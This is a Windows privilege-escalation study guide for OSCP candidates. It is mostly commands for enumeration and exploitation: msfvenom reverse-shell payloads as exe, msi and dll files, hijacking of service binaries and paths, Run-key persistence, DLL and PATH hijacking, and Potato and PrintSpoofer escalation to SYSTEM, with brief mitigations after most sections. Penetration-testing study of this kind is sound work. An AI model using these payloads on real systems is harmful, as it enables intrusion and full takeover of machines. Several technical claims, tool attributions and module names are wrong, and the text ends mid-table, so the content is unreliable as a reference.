Windows Privilege Escalation — OSCP Study Guide
Author: OSCP Research Guide | Date: 2026-08-31
Target: OSCP Exam Candidates | Difficulty: Intermediate → Advanced
Table of Contents
- Windows User and Group Enumeration
- Windows Privilege Levels
- System Information Gathering
- Service Exploitation
- Token Manipulation
- Registry-Based Escalation
- Scheduled Tasks Exploitation
- DLL Hijacking
- Environment Variable PATH Hijacking
- Weak File and Folder Permissions
- Named Pipe Impersonation
- Metasploit Post Modules for Windows
- PowerUp.ps1 Mastery
- WinPEAS Usage
- Bypassing UAC
- Kernel Exploits
- EternalBlue and MS17-010
- Abusing Windows Features
- GPO-Based Escalation
- Mimikatz Credential Dumping
1. Windows User and Group Enumeration
Overview
Understanding who exists on the system is step one.
- Identify current user context
- Enumerate local users and groups
- Find privileged accounts
- Map group memberships
Key Commands
# Current user
whoami
whoami /all
# List all local users
net user
# List all local groups
net localgroup
# View members of a specific group
net localgroup Administrators
# View detailed user info
net user <username>
# View current privileges
whoami /priv
Important Groups
| Group |
Description |
Privilege Level |
Administrators |
Full system control |
Highest |
Users |
Standard user rights |
Low |
Backup Operators |
Can backup/restore all files |
Medium-High |
Remote Desktop Users |
Can RDP into machine |
Low |
Performance Log Users |
Can perfmon log access |
Low |
Distributed COM Users |
DCOM access |
Low |
IIS_IUSRS |
IIS application pool |
Low |
WinRMRemoteWMIUsers__ |
WinRM access |
Low |
SIDs to Know
| SID |
Meaning |
S-1-5-32-544 |
Local Administrators |
S-1-5-32-545 |
Local Users |
S-1-5-32-546 |
Global Users |
S-1-5-32-551 |
Backup Operators |
S-1-5-18 |
Local System |
S-1-5-19 |
Local Service |
S-1-5-20 |
Network Service |
Enumeration via PowerShell
# Get current user
Get-Process -Id $pid | Select-Object @{N='User';E={$_.StartTime}}
# List all local users
Get-LocalUser
# List all local groups
Get-LocalGroup
# Get group members
Get-LocalGroupMember -Group "Administrators"
# Get current user SID
([System.Security.Principal.WindowsIdentity]::GetCurrent()).User.Value
Mermaid: User Enumeration Flow
graph TD
A[Start: Low Priv Shell] --> B[whoami /all]
B --> C{In Administrators?}
C -->|Yes| D[Already High Priv]
C -->|No| E[net localgroup Administrators]
E --> F[Identify Admin Users]
F --> G[net user <admin>]
G --> H[Check Password Policy]
H --> I[net accounts]
I --> J[Map Attack Surface]
2. Windows Privilege Levels
Privilege Hierarchy
graph TD
A[SYSTEM / S-1-5-18] -->|Highest| B[Administrator]
B -->|Elevated| C[Power User]
C -->|Standard| D[User]
D -->|Guest| E[Guest / No Access]
Privilege Levels Table
| Level |
Token Type |
Capabilities |
| SYSTEM |
Primary |
Full OS control, no restrictions |
| Administrator |
Elevated/Filtered |
Full control (UAC filtered by default) |
| Power User |
Standard |
Install software, manage services |
| User |
Standard |
Run apps, own files only |
| Guest |
Restricted |
Minimal access |
UAC and Token Filtering
- Windows Vista+ uses User Account Control (UAC)
- Administrators get a filtered token by default
- The filtered token has fewer privileges
- An elevated token exists but is hidden
- UAC bypass techniques access the elevated token
Integrity Levels
| Level |
Hex Value |
Description |
| System |
0x00002000 |
Kernel, critical services |
| High |
0x00001000 |
Admin processes, elevated apps |
| Medium |
0x00000000 |
Normal user processes |
| Low |
0x00000200 |
IE Protected Mode, Chrome |
| Untrusted |
0x00000000 |
Minimal trust |
Check Integrity Level
# Via PowerShell
whoami /groups
# Look for Mandatory Label:
# HIGH Mandatory Level = High IL
# MEDIUM Mandatory Level = Medium IL
# LOW Mandatory Level = Low IL
Mitigation
- Enforce least privilege principle
- Disable unnecessary admin accounts
- Use Standard User accounts for daily work
- Enable UAC at highest level
Why It Matters
System info reveals:
- OS version and build number
- Installed patches and hotfixes
- Running services and processes
- Network configuration
- Installed software
- Potential exploit vectors
Core Enumeration Commands
# OS version
systeminfo
# Kernel version
ver
# Architecture
wmic os get osarchitecture
# Installed updates
wmic qfe get Caption,Description,HotFixID,InstalledOn
# Computer name
hostname
# Domain info
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
# Network config
ipconfig /all
# ARP table
arp -a
# Routing table
route print
# Active connections
netstat -ano
# Firewall rules
netsh advfirewall firewall show rule name=all
PowerShell Deep Enumeration
# OS details
Get-CimInstance -ClassName Win32_OperatingSystem | Select-Object Caption, Version, BuildNumber, OSArchitecture
# Hotfixes
Get-HotFix | Select-Object HotFixID, Description, InstalledOn
# Running processes
Get-Process | Select-Object Name, Id, Path
# Installed programs
Get-CimInstance -ClassName Win32_Product | Select-Object Name, Version
# From registry (faster)
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\*" |
Select-Object DisplayName, DisplayVersion, Publisher, InstallDate |
Where-Object DisplayName -like "*"
WMIC Enumeration
# Service info
wmic service list brief
# Startup programs
wmic startup get caption,command
# BIOS info
wmic bios get smbiosbiosversion,manufacturer
# Disk info
wmic logicaldisk get caption,description,providername
# Network adapters
wmic nicconfig where IPEnabled=True get Caption,IPAddress,MACAddress
Mermaid: Info Gathering Flow
graph TD
A[Initial Access] --> B[whoami /all]
B --> C[systeminfo]
C --> D[Check OS Version]
D --> E[Check Hotfixes]
E --> F[wmic qfe get HotFixID]
F --> G[Check Services]
G --> H[Check Network]
H --> I[Check Software]
I --> J[Cross-Reference with Exploits]
J --> K{Exploit Available?}
K -->|Yes| L[Exploit]
K -->|No| M[Continue Enumeration]
| Category |
Command |
Purpose |
| OS Version |
systeminfo |
Match to known exploits |
| Hotfixes |
wmic qfe |
Identify missing patches |
| Architecture |
wmic os get osarchitecture |
32/64 bit exploit selection |
| Users |
net user |
Target accounts |
| Groups |
net localgroup |
Privilege mapping |
| Services |
sc query |
Service vulns |
| Network |
ipconfig /all |
Pivot planning |
| Processes |
tasklist |
Running binaries |
| Shares |
net share |
Accessible resources |
| Routes |
route print |
Network topology |
4. Service Exploitation
4.1 Insecure Service Permissions
Concept
- Windows services run under specific accounts
- Service configuration stored in Registry
- If a low-priv user has write access to a service config
- They can modify the binary path
- Service restarts → executes attacker’s binary as the service account
Enumeration
# Via AccessChk (Sysinternals)
accesschk.exe -uwcqv <username> * /accepteula
# Check all services
accesschk.exe -uwcqv_users * /accepteula
# Via PowerShell
Get-CimInstance -ClassName Win32_Service |
Select-Object Name, DisplayName, PathName, StartName, State
# Via sc
sc query state= all
# Check specific service permissions
sc qc <service_name>
Exploitation Steps
- Identify service with weak permissions
- Note the service account it runs under
- Create a malicious binary (reverse shell)
- Replace the service binary path
- Restart the service
# Step 1: Find vulnerable service
accesschk.exe -uwcqv "Users" * /accepteula
# Step 2: Create reverse shell binary
# On attacker machine:
# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe -o shell.exe
# Step 3: Upload shell.exe to target
# Step 4: Modify service binary path
sc config <service_name> binPath= "C:\path\to\shell.exe"
# Step 5: Start/restart the service
sc start <service_name>
# or
net stop <service_name>
net start <service_name>
# Find writable service paths
$services = Get-CimInstance -ClassName Win32_Service
foreach ($svc in $services) {
$path = $svc.PathName
if ($path -and (Test-Path $path -ErrorAction SilentlyContinue)) {
$acl = Get-Acl $path
$access = $acl.Access
foreach ($a in $access) {
if ($a.IdentityReference -like "*Users*" -or
$a.IdentityReference -like "*Everyone*" -or
$a.IdentityReference -like "*BUILTIN*") {
if ($a.FileSystemRights -like "*Write*" -or
$a.FileSystemRights -like "*Modify*" -or
$a.FileSystemRights -like "*FullControl*") {
Write-Host "[+] Writable Service: $($svc.Name)"
Write-Host " Path: $path"
Write-Host " Account: $($svc.StartName)"
Write-Host " Permission: $($a.FileSystemRights)"
}
}
}
}
}
Mitigation
- Restrict service binary folder permissions
- Use
AccessChk in audits regularly
- Run services under least-privilege accounts
- Enable Service Hardening
4.2 Service Binary Replacement
Concept
- A subset of insecure service permissions
- The service binary itself is writable
- Replace the binary directly
- No need to change the path
Enumeration
# Check if service binary is writable
accesschk.exe -qw <service_name> /accepteula
# Manual check
icacls "C:\path\to\service.exe"
Exploitation
# Step 1: Identify writable binary
icacls "C:\Program Files\Service\service.exe"
# Step 2: Backup original (optional)
copy "C:\Program Files\Service\service.exe" "C:\Program Files\Service\service.exe.bak"
# Step 3: Replace with malicious binary
copy "C:\temp\shell.exe" "C:\Program Files\Service\service.exe"
# Step 4: Restart service
sc restart <service_name>
Mitigation
- Lock down service installation directories
- Use Windows Defender Application Control (WDAC)
- Implement file integrity monitoring
4.3 Unquoted Service Paths
Concept
- Windows service paths can contain spaces
- If the path is not quoted, Windows parses it differently
- It tries each space-delimited segment as an executable
Example vulnerable path:
C:\Program Files\Some Application\service.exe
Windows tries in order:
C:\Program.exe
C:\Program Files\Some.exe
C:\Program Files\Some Application\service.exe
Enumeration
# Via PowerShell
Get-CimInstance -ClassName Win32_Service |
Where-Object { $_.PathName -notlike '"*' -and $_.PathName -like '* *' } |
Select-Object Name, DisplayName, PathName, StartName
# Via sc
wmic service get name,displayname,pathname,startmode |
findstr /i "Auto" |
findstr /i /v "C:\Windows\\" |
findstr /i /v """
Exploitation Steps
- Identify unquoted path with spaces
- Determine which segment you can write to
- Create a malicious
.exe with that segment’s name
- Place it in the writable directory
- Restart the service
# Example: Path = C:\Program Files\Apache Software Foundation\Procrun 2.0\bin\procrun.exe
# Windows tries:
# C:\Program.exe
# C:\Program Files\Apache.exe
# C:\Program Files\Apache Software Foundation\Procrun.exe
# C:\Program Files\Apache Software Foundation\Procrun 2.0\bin\procrun.exe
# If C:\Program Files\Apache Software Foundation\ is writable:
# Create Procrun.exe as a reverse shell
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe -o Procrun.exe
# Upload to: C:\Program Files\Apache Software Foundation\Procrun.exe
# Restart service
sc restart <service_name>
Mermaid: Unquoted Service Path Exploitation
sequenceDiagram
participant A as Attacker
participant S as Service
participant W as Windows
participant R as Registry
A->>W: Identify unquoted path
W-->>A: Path: C:\Progra~1\App Name\svc.exe
A->>W: Create C:\Progra~1\App.exe (reverse shell)
A->>S: Restart service
S->>W: Load binary path
W->>W: Try C:\Progra~1\App.exe first
W->>A: Execute reverse shell as SYSTEM
Mitigation
- Always quote service paths in Registry
- Use
sc config with quoted paths
- Restrict write access to program directories
- Audit services regularly
4.4 AlwaysInstallElevated
Concept
- MSI installer behavior controlled by Registry
- If
AlwaysInstallElevated is enabled for both keys:
HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer
HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer
- Any user can install
.msi packages as SYSTEM
Enumeration
# Check HKLM
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# Check HKCU
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
# Both must return: AlwaysInstallElevated REG_DWORD 0x1
Exploitation
# Step 1: Create malicious MSI
# On attacker machine:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f msi -o shell.msi
# Step 2: Upload to target
# Step 3: Install as SYSTEM
msiexec /quiet /qn /i shell.msi
# Alternative: Create custom MSI with embedded payload
# Using WiX or similar MSI authoring tools
Mitigation
- Disable
AlwaysInstallElevated in Group Policy
- Restrict MSI installation to administrators
- Monitor MSI installation events
5. Token Manipulation
5.1 Token Impersonation
Concept
- Windows uses security tokens for access control
- When a process impersonates a client, it gets an impersonation token
- Impersonation levels determine what you can do:
| Level |
Description |
SecurityAnonymous |
No identity information |
SecurityIdentification |
Can query identity, not impersonate |
SecurityImpersonation |
Can impersonate client |
SecurityDelegation |
Can impersonate on remote systems |
Token Theft via PowerShell
# Using Incognito (by Craig Atherton)
# Load the module
Import-Module .\Incognito.ps1
# List tokens
Invoke-TokenManipulation -ListTokens
# Impersonate a token
Invoke-TokenManipulation -ImpersonateToken -Username "DOMAIN\user"
# Execute command with token
Invoke-TokenManipulation -ImpersonateToken -Username "DOMAIN\Administrator" -Command "whoami"
Mitigation
- Restrict service accounts
- Use constrained delegation
- Limit impersonation rights
5.2 Primary Token Theft
Concept
- Primary tokens belong to the process owner
- Cannot be directly stolen like impersonation tokens
- Must use
DuplicateTokenEx + SetThreadToken technique
- Requires
SeAssignPrimaryTokenPrivilege
Exploitation via RottenPotato
# RottenPotato abuses COM impersonation
# Download RottenPotato.exe
# Run with command to execute
.\RottenPotato.exe -c "cmd.exe"
Mitigation
- Patch MS16-034 (affected Windows 7/2008 R2)
- Update to patched OS versions
- Restrict COM access
5.3 Juicy Potato
Concept
- Abuses
MS16-034 elevation of privilege vulnerability
- Uses COM object impersonation to get SYSTEM token
- Works on systems without MS16-034 patch
- Requires
SeImpersonatePrivilege (given to non-admins by default)
Prerequisites
SeImpersonatePrivilege or SeAssignPrimaryTokenPrivilege
- Available CLSID to abuse
- Target: Windows 7 through Windows 10, Server 2008 through 2019
Enumeration
# Check for SeImpersonatePrivilege
whoami /priv
# Look for:
# SeImpersonatePrivilege Impersonate a client after authentication
# SeAssignPrimaryTokenPrivilege Replace a process level token
Exploitation
# Step 1: Download JuicyPotato
# https://github.com/ohpe/juicy-potato
# Step 2: Find available CLSIDs
# Common CLSIDs:
# {F7FD3FD6-9994-4529-B2D0-0417995E90F6} - Default
# {E60687F7-06A9-45D0-84BD-E64EA69D6303} - Win 10
# Step 3: Create payload
# On attacker:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe -o shell.exe
# Step 4: Upload and run
.\JuicyPotato.exe -l 1337 -t * -p C:\path\to\shell.exe -c {F7FD3FD6-9994-4529-B2D0-0417995E90F6}
Parameters
| Parameter |
Description |
-l |
Listen port |
-t |
Token type (* = all) |
-p |
Program to execute |
-c |
CLSID to use |
-p |
Arguments for program |
Mitigation
- Apply MS16-034 patch
- Restrict
SeImpersonatePrivilege
- Use Windows 10 1809+ (built-in mitigations)
5.4 Rogue Potato
Concept
- Successor to Juicy Potato
- Works on all Windows versions including Windows 10 2004+
- Uses Named Pipe + HTTP listener technique
- Does NOT require a valid CLSID
- Abuses
SeImpersonatePrivilege via HTTP.SYS
Exploitation
# Download from: https://github.com/antonioCoco/RoguePotato
# Basic usage
.\RoguePotato.exe
# With custom command
.\RoguePotato.exe -c "C:\path\to\payload.exe"
# With custom port
.\RoguePotato.exe -p 8080
Why It Works
- HTTP.SYS creates impersonation tokens
- Rogue Potato registers a fake HTTP server
- Triggers token impersonation via Named Pipe
- Escalates to SYSTEM
Mitigation
- Remove
SeImpersonatePrivilege from non-admin users
- Apply all security patches
- Monitor for suspicious HTTP server registration
5.5 SweetPotato
Concept
- Another EoP exploit using HTTP.SYS
- Written in C, single binary
- Works on Windows 7 through Windows 10
- Uses similar technique to Rogue Potato
Exploitation
# Download from: https://github.com/CCob/SweetPotato
# Basic usage
.\SweetPotato.exe
# With custom command
.\SweetPotato.exe -c "cmd.exe /c whoami"
Comparison Table
| Tool |
Windows Support |
Requires CLSID |
Language |
| Juicy Potato |
Win 7 - Win 10 1809 |
Yes |
Go |
| Rogue Potato |
All versions |
No |
Go |
| SweetPotato |
Win 7 - Win 10 |
No |
C |
| PrintSpoofer |
Win 7 - Win 11 |
No |
C |
6. Registry-Based Escalation
6.1 Autorun Keys
Concept
- Registry keys that execute programs at startup
- If writable by low-priv users, can be abused
- Executes with the privileges of the service/user that reads the key
Common Autorun Locations
| Registry Path |
Trigger |
Runs As |
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run |
User logon |
User |
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce |
User logon (once) |
User |
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices |
Service start |
SYSTEM |
HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServicesOnce |
Service start (once) |
SYSTEM |
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run |
Current user logon |
User |
HKLM\SYSTEM\CurrentControlSet\Services |
Service startup |
Service Account |
Enumeration
# Check autorun keys
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
reg query HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
# Check permissions on Run keys
reg query HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v *
# Via PowerShell
Get-ItemProperty "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Run"
# Check service autorun
Get-CimInstance -ClassName Win32_StartupCommand |
Select-Object Name, Command, User, Location
Exploitation
# If you have write access to HKLM Run key:
# Add reverse shell to autorun
reg add "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "Update" /t REG_SZ /d "C:\temp\shell.exe" /f
# Next reboot/logon executes as the reading user
Mitigation
- Restrict Registry key permissions
- Monitor Registry modifications
- Use AppLocker or WDAC
6.2 Registry Permissions
Concept
- Registry keys have ACLs (Access Control Lists)
- Weak permissions allow modification
- Can modify service configs, autoruns, and more
Enumeration
# Via AccessChk
accesschk.exe -kvw "Users" HKLM /accepteula
# Check specific key
accesschk.exe -kvw "Users" HKLM\SYSTEM\CurrentControlSet\Services /accepteula
# Via PowerShell
Get-Acl "HKLM:\SYSTEM\CurrentControlSet\Services\SomeService" | Format-List
# Check writable registry keys
Get-ChildItem "HKLM:\SYSTEM\CurrentControlSet\Services" -Recurse -ErrorAction SilentlyContinue |
ForEach-Object {
$acl = Get-Acl $_.PSPath -ErrorAction SilentlyContinue
if ($acl) {
$writeAccess = $acl.Access | Where-Object {
$_.IdentityReference -like "*Users*" -or
$_.IdentityReference -like "*Everyone*"
}
if ($writeAccess) {
Write-Host "[+] Writable: $($_.PSPath)"
}
}
}
Mitigation
- Audit Registry permissions regularly
- Restrict write access to sensitive keys
- Use Group Policy to enforce permissions
7. Scheduled Tasks Exploitation
Concept
- Scheduled tasks run programs at specified times
- If a task runs as SYSTEM/Administrator
- And the target binary or action is writable
- You can replace it with a malicious binary
Enumeration
# List all scheduled tasks
schtasks /query /fo LIST /v
# Via PowerShell
Get-ScheduledTask | Where-Object {$_.State -eq 'Ready'} |
Select-Object TaskName, TaskPath, State
# Get task details
Get-ScheduledTask -TaskName "TaskName" | Select-Object -ExpandProperty Actions
# Check task XML for details
schtasks /query /tn "TaskName" /xml
# Find tasks running as SYSTEM
schtasks /query /fo LIST /v | findstr /i "SYSTEM"
Exploitation
# Step 1: Find task with writable action
# Look for tasks where the executable path is writable
# Step 2: Check permissions
icacls "C:\path\to\task\binary.exe"
# Step 3: Replace binary
copy "C:\temp\shell.exe" "C:\path\to\task\binary.exe"
# Step 4: Wait for task to execute
# Or force execution:
schtasks /run /tn "TaskName"
Mermaid: Scheduled Task Exploitation
graph TD
A[Enumerate Tasks] --> B[schtasks /query /fo LIST /v]
B --> C{Task runs as SYSTEM?}
C -->|Yes| D[Check binary path]
C -->|No| E[Next task]
D --> F{Binary writable?}
F -->|Yes| G[Replace with payload]
F -->|No| H[Check arguments]
G --> I[Wait or force execution]
H --> J{Arguments writable?}
J -->|Yes| K[Modify arguments]
I --> L[Get SYSTEM shell]
Mitigation
- Restrict scheduled task permissions
- Lock down task binary paths
- Monitor task modifications
8. DLL Hijacking
Concept
- Windows loads DLLs in a specific order
- Applications search for DLLs in a predictable path order
- If a required DLL is missing from the expected location
- Place a malicious DLL with the same name
- The application loads your DLL instead
DLL Search Order
| Order |
Location |
| 1 |
Directory from which the process loaded the image |
| 2 |
Current working directory |
| 3 |
Windows System directory (System32) |
| 4 |
Windows directory (Windows) |
| 5 |
Directory containing the 16-bit Module |
| 6 |
Current directory (.) |
| 7 |
Directories in PATH environment variable |
Enumeration
# Via PowerUp
Import-Module .\PowerUp.ps1
Find-PathHijack
# Via LatentInjector
# https://github.com/withmartin/LatentInjector
.\LatentInjector.exe
# Manual: Check running processes and their DLLs
Get-Process | Select-Object Name, Id, Path
# Use Process Monitor (ProcMon) to find missing DLLs
# Filter: Result is NAME NOT FOUND
Exploitation
# Step 1: Identify missing DLL
# Use ProcMon to find NAME NOT FOUND results
# Step 2: Create malicious DLL
# On attacker machine:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f dll -o evil.dll
# Step 3: Place DLL in search path
copy evil.dll "C:\path\to\search\location\missing.dll"
# Step 4: Wait for application to load
# Or restart the application/service
DLL Sideloading
- A variant of DLL hijacking
- Legitimate executable loads a DLL
- Place the legitimate exe in a writable directory
- Place your malicious DLL with the expected name
- Execute the legitimate exe → loads your DLL
# Example:
# 1. Find legitimate exe that loads a DLL
# 2. Copy exe to writable directory
# 3. Create malicious DLL with same name as expected DLL
# 4. Place both in writable directory
# 5. Execute the exe
Mitigation
- Enable Safe DLL Search Mode
- Use full paths for DLL loading
- Sign DLLs and verify signatures
- Use Application Whitelisting
9. Environment Variable PATH Hijacking
Concept
- The
PATH environment variable lists directories
- Windows searches these directories for executables
- If a writable directory appears in PATH
- Place a malicious executable with a common name
- When any program calls that executable, yours runs
Enumeration
# View PATH
echo $env:PATH
# Check each directory for write access
$env:PATH -split ';' | ForEach-Object {
$dir = $_.Trim()
if (Test-Path $dir) {
$acl = Get-Acl $dir
$writeAccess = $acl.Access | Where-Object {
($_.IdentityReference -like "*Users*" -or
$_.IdentityReference -like "*Everyone*") -and
($_.FileSystemRights -like "*Write*" -or
$_.FileSystemRights -like "*Modify*" -or
$_.FileSystemRights -like "*FullControl*")
}
if ($writeAccess) {
Write-Host "[+] Writable PATH directory: $dir"
}
}
}
# Via PowerUp
Find-PathHijack
Exploitation
# Step 1: Find writable PATH directory
# Step 2: Identify commonly called executables
# Common targets: python.exe, perl.exe, npm.exe, etc.
# Step 3: Create malicious executable
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<IP> LPORT=<PORT> -f exe -o python.exe
# Step 4: Place in writable PATH directory
copy python.exe "C:\writable\path\dir\python.exe"
# Step 5: Wait for any process to call 'python.exe'
Mitigation
- Remove writable directories from PATH
- Use full paths in scripts and commands
- Restrict PATH directory permissions
- Audit PATH regularly
10. Weak File and Folder Permissions
Concept
- Files and folders have ACLs
- If sensitive files are world-writable
- An attacker can modify or replace them
- Common targets: config files, scripts, binaries
Enumeration
# Via AccessChk
# Check C:\ for writable files
accesschk.exe -uwdqs Users C:\ /accepteula
accesschk.exe -uwdqs "Everyone" C:\ /accepteula
# Check specific directories
accesschk.exe -quws "Users" "C:\Program Files\" /accepteula
# Via PowerShell
# Check writable files in Program Files
Get-ChildItem "C:\Program Files\" -Recurse -File -ErrorAction SilentlyContinue |
ForEach-Object {
$acl = Get-Acl $_.FullName
$writeAccess = $acl.Access | Where-Object {
$_.IdentityReference -like "*Users*" -or
$_.IdentityReference -like "*Everyone*"
}
if ($writeAccess) {
Write-Host "[+] Writable: $($_.FullName)"
}
}
# Check folder permissions
icacls "C:\path\to\folder"
Common Targets
| Target |
Why It Matters |
C:\Windows\Temp\ |
Often writable, services may load from here |
C:\Program Files\ |
Service binaries |
C:\Program Files (x86)\ |
32-bit service binaries |
C:\inetpub\ |
IIS files |
C:\Windows\System32\ |
System binaries (rarely writable) |
| User profile directories |
Scripts, configs |
Exploitation
# Step 1: Find writable sensitive file
# Step 2: Replace or modify
# Step 3: Trigger execution (restart service, reboot, etc.)
Mitigation
- Enforce strict file permissions
- Use
icacls to audit permissions
- Implement file integrity monitoring
- Follow least privilege principle
11. Named Pipe Impersonation
11.1 RottenPotato
Concept
- Abuses Named Pipe impersonation
- Creates a Named Pipe and triggers impersonation
- Uses MS16-034 vulnerability
- Escalates to SYSTEM
Exploitation
# Download RottenPotato
# https://github.com/breenmachine/RottenPotatoNG
# Run
.\RottenPotatoNG.exe -p <port>
Limitations
- Requires MS16-034 vulnerability
- Does not work on patched systems
- Superseded by newer tools
11.2 PrintSpoofer
Concept
- Abuses the Print Spooler service
- Uses
RpcRemoteFindFirstPrinterChangeNotificationEx
- Gets an impersonation token from the spooler
- Escalates to SYSTEM via token manipulation
- Works on all modern Windows versions
Why It Works
- Print Spooler runs as SYSTEM
- Spooler creates impersonation tokens for clients
- The impersonation token has SYSTEM privileges
- PrintSpoofer hijacks this token
Exploitation
# Download from: https://github.com/itm4n/PrintSpoofer
# Basic usage - get SYSTEM shell
.\PrintSpoofer64.exe -c "cmd.exe"
# With specific command
.\PrintSpoofer64.exe -c "C:\path\to\payload.exe"
# Use named pipe technique
.\PrintSpoofer64.exe -i -c "cmd.exe"
# Use alpc technique
.\PrintSpoofer64.exe -t -c "cmd.exe"
Parameters
| Parameter |
Description |
-c |
Command to execute as SYSTEM |
-i |
Use impersonation technique |
-t |
Use ALPC technique |
-l |
Listen port for pipe |
Mermaid: PrintSpoofer Flow
sequenceDiagram
participant A as Attacker
participant P as PrintSpoofer
participant S as Print Spooler
participant T as Token
A->>P: Execute PrintSpoofer
P->>S: Connect to Print Spooler RPC
S->>T: Create Impersonation Token (SYSTEM)
S-->>P: Return Token Handle
P->>T: Duplicate Token
P->>T: Create Process with SYSTEM Token
T-->>P: New Process as SYSTEM
P-->>A: SYSTEM Shell
Mitigation
12. Metasploit Post Modules for Windows
Overview
Metasploit provides powerful post-exploitation modules for Windows privilege escalation.
Key Modules
| Module |
Description |
Type |
post/multi/recon/local_exploit_suggester |
Suggests applicable exploits |
Recon |
post/windows/gather/credentials/mimikatz |
Dump credentials |
Gather |
post/windows/escalate/ms16_032 |
Secondary Logon Handle |
Exploit |
post/windows/escalate/always_install_elevated |
MSI elevation |
Exploit |
post/windows/escalate/bypassuac |
UAC bypass |
Bypass |
post/windows/escalate/enum_services |
Enumerate services |
Recon |
post/windows/escalate/impersonate_service |
Service impersonation |
Exploit |
post/windows/escalate/prompt_appeal |
Prompt appeal bypass |
Bypass |
post/windows/escalate/raise_uac |
Raise UAC settings |
Escalate |
post/windows/escalate/se_debug_privilege |
Debug privilege abuse |
Exploit |
post/windows/escalate/stdapi_priv |
Standard API privilege |
Exploit |
post/windows/gather/checkvm |
Check if VM |
Recon |
Usage Examples
# Local exploit suggester
use post/multi/recon/local_exploit_suggester
set SESSION 1
run
# AlwaysInstallElevated
use post/windows/escalate/always_install_elevated
set SESSION 1
run
# Bypass UAC
use post/windows/escalate/bypassuac
set SESSION 1
run
# Mimikatz
use post/multi/gather/mimikatz
set SESSION 1
run
Mermaid: Metasploit Post Module Flow
graph TD
A[Meterpreter Session] --> B[local_exploit_suggester]
B --> C{Suggested Exploits?}
C -->|Yes| D[Select Module]
C -->|No| E[Manual Enumeration]
D --> F[Set SESSION]
F --> G[Run Module]
G --> H{Success?}
H -->|Yes| I[System Shell]
H -->|No| J[Try Next Module]
E --> K[PowerUp / WinPEAS]
K --> L[Identify Vector]
L --> M[Manual Exploitation]
13. PowerUp.ps1 Mastery
Overview
PowerUp is the definitive PowerShell privesc toolkit by HarmJ0y (Matt Graeber).
Download and Load
# Download
Invoke-WebRequest "https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/dev/Privesc/PowerUp.ps1" -OutFile PowerUp.ps1
# Load
Import-Module .\PowerUp.ps1
All Functions Reference
| Function |
Description |
Invoke-AllChecks |
Run ALL privesc checks |
Get-ModifiableFile |
Find modifiable files |
Get-ModifiablePath |
Find modifiable PATH dirs |
Find-PathHijack |
Find PATH hijack opportunities |
Get-UnquotedServicePath |
Find unquoted service paths |
Get-ModifiableServiceFile |
Find writable service files |
Get-ModifiableService |
Find writable service configs |
Get-ServiceDetail |
Get service details |
Find-ProcessDLLHijack |
Find DLL hijack in processes |
Find-PathHijack |
Find PATH hijacks |
Get-RegistryAutoLogon |
Find autologon creds |
Get-UnattendedInstallFile |
Find unattended install files |
Get-ApplicationHostConfig |
Find IIS configs |
Get-SiteListPassword |
Find IIS site passwords |
Get-CachedGPOEnum |
Enumerate cached GPOs |
Write-UserAdd |
Add a user |
Write-ServiceBinary |
Replace service binary |
Set-ServiceBinary |
Set service binary path |
Invoke-ServiceAbuse |
Abuse a service |
Invoke-AllChecks |
Run all checks at once |
Key Commands
# Run all checks (THE MOST IMPORTANT COMMAND)
Invoke-AllChecks
# Check for modifiable services
Get-ModifiableService
# Check for unquoted service paths
Get-UnquotedServicePath
# Check for PATH hijacks
Find-PathHijack
# Check for DLL hijacks
Find-ProcessDLLHijack
# Check for modifiable files
Get-ModifiableFile -Path "C:\Program Files\"
# Check for AlwaysInstallElevated
Get-RegistryAutoLogon
# Exploit a service
Invoke-ServiceAbuse -Name 'VulnerableService' -Path 'C:\temp\shell.exe'
Exploitation with PowerUp
# Step 1: Run all checks
Invoke-AllChecks
# Step 2: Review output for vulnerabilities
# Look for:
# - [!] Writable service paths
# - [!] Unquoted service paths
# - [!] Writable PATH directories
# - [!] DLL hijack opportunities
# Step 3: Exploit the finding
# Example: Exploit writable service
Invoke-ServiceAbuse -Name 'VulnService' -Path 'C:\temp\shell.exe'
# Example: Replace service binary
Write-ServiceBinary -Name 'VulnService' -Path 'C:\temp\shell.exe'
Mermaid: PowerUp Workflow
graph TD
A[Upload PowerUp.ps1] --> B[Import-Module PowerUp.ps1]
B --> C[Invoke-AllChecks]
C --> D[Review Output]
D --> E{Vulnerability Found?}
E -->|Service| F[Invoke-ServiceAbuse]
E -->|PATH Hijack| G[Create payload in PATH dir]
E -->|DLL Hijack| H[Create malicious DLL]
E -->|Unquoted Path| I[Create exe in path segment]
E -->|AlwaysInstallElevated| J[Create malicious MSI]
F --> K[SYSTEM Shell]
G --> K
H --> K
I --> K
J --> K
14. WinPEAS Usage
Overview
WinPEAS (Windows Privilege Escalation Awesome Script) is a comprehensive enumeration tool.
Download and Run
# Download from: https://github.com/carlospolop/PEASS-ng/tree/master/winPEAS
# Run (no compilation needed for .exe)
.\winPEAS.exe
# Run with output to file
.\winPEAS.exe -outputfile results.txt
# Run quietly (no console output)
.\winPEAS.exe -quiet
# Run with specific checks
.\winPEAS.exe -enabled
WinPEAS Checks
| Category |
